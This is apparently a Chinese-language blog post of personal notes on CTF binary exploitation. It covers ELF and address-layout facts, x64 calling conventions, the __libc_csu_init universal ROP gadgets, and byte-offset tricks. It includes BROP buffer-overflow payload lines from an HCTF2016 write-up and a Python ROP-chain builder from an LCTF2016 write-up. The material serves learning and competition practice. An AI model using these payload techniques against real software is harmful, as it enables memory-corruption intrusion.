一些点滴关于pwn

Author Avatar
Aryb1n 7月 25, 2017

ELF

ELF魔数 7f 45 4c 46就是\7fELF

PIE

如果没有开PIE:
x86 是 0x8048000
x64 是 0x400000

x86栈地址开始于 0xFFFF FFFF
x64栈地址开始于 0x0000 7FFF FFFF FFFF

栈地址开始的地方也应该是可使用的最大地址吧

x64传参

RDI, RSI, RDX, RCX, R8和 R9

调试

p = process('./pwn100')
context.terminal = ['gnome-terminal','-x','sh','-c']
gdb.attach(p)

x64 通用gadgets

蒸米的文章中提到的libc里会存在

pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

这样子的gadgets, 我们编译一个x64的程序objdump -M intel -d观察一下
这个参数是用intel的,默认的ATT看着好不习惯

*  4007a0:    4c 89 ea                 mov    rdx,r13
*  4007a3:    4c 89 f6                 mov    rsi,r14
*  4007a6:    44 89 ff                 mov    edi,r15d
*  4007a9:    41 ff 14 dc              call   QWORD PTR [r12+rbx*8]
  4007ad:    48 83 c3 01              add    rbx,0x1
  4007b1:    48 39 eb                 cmp    rbx,rbp
  4007b4:    75 ea                    jne    4007a0 <__libc_csu_init+0x40>
*  4007b6:    48 83 c4 08              add    rsp,0x8
*  4007ba:    5b                       pop    rbx
*  4007bb:    5d                       pop    rbp
*  4007bc:    41 5c                    pop    r12
*  4007be:    41 5d                    pop    r13
*  4007c0:    41 5e                    pop    r14
*  4007c2:    41 5f                    pop    r15
*  4007c4:    c3                       ret

这里其实有两个有用的gadgets

另外最后这里的pop r15; ret 对应字节为0x41 0x5f 0xc3,只取后两个字节就是0x5f 0xc3对应其实就是pop rdi; ret

在HCTF2016的BROP题目Flappy Pig的wp里学到,如何找到这个pop rdi; ret
原题目是没有给binary的,爆破先找到一个能够不报错的返回地址下面称为safe_addr
然后wp里写道,如果找到这样子一个addr满足下面条件

Payload1 = 'a'*72 + l64(addr-1)+l64(0)+l64(safe_addr) # pop r15; ret
Payload2 = 'a'*72 + l64(addr)+l64(0)+l64(safe_addr) # pop rdi; ret
Payload3 = 'a'*72 + l64(addr+1) +l64(safe_addr) # ret

那么这个addr就是我们要找到的pop rdi; ret
并且这题wp写的很赞
dump内存用puts就可以了,也可以write是嘛

另外关于BROP可以看看这个,真的真的perfect

关于这个通用gadgets,在lctf 2016的wp里找到了这个记下来

def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
    payload  = p64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
    payload += p64(0x0)     # rbx be 0x0
    payload += p64(0x1)     # rbp be 0x1
    payload += p64(jmp2)    # r12 jump to
    payload += p64(arg3)    # r13 -> rdx    arg3
    payload += p64(arg2)    # r14 -> rsi    arg2
    payload += p64(arg1)    # r15 -> edi    arg1
    payload += p64(part2)   # part2 entry will call [rbx + r12 + 0x8]
    payload += 'A' * 56     # junk
    return payload

另外这个gadget其实

gdb-peda$ x/8i 0x000000000040075c
   0x40075c:    pop    r12
   0x40075e:    pop    r13
   0x400760:    pop    r14
   0x400762:    pop    r15
   0x400764:    ret

在这里偏移一个字节就会变成,控制rsp改变栈顶,但感觉比较危险

gdb-peda$ x/8i 0x000000000040075d
   0x40075d:    pop    rsp
   0x40075e:    pop    r13
   0x400760:    pop    r14
   0x400762:    pop    r15
   0x400764:    ret

同样r13~r15往下偏移分别能得到rbp, rsi, rdi

这个利用方法,,,今天才看到这篇文章
原来是这样子…..wopu

没有给lic的时候

  1. 用DynELF
  2. 这篇文章里看到可以使用这个叫做libc-database的方法
    工具在这里,里面提到

    Only the last 12 bits are checked, because randomization usually works on page size level
    我试了下好像,,,果然是这样子,低位确实是不变的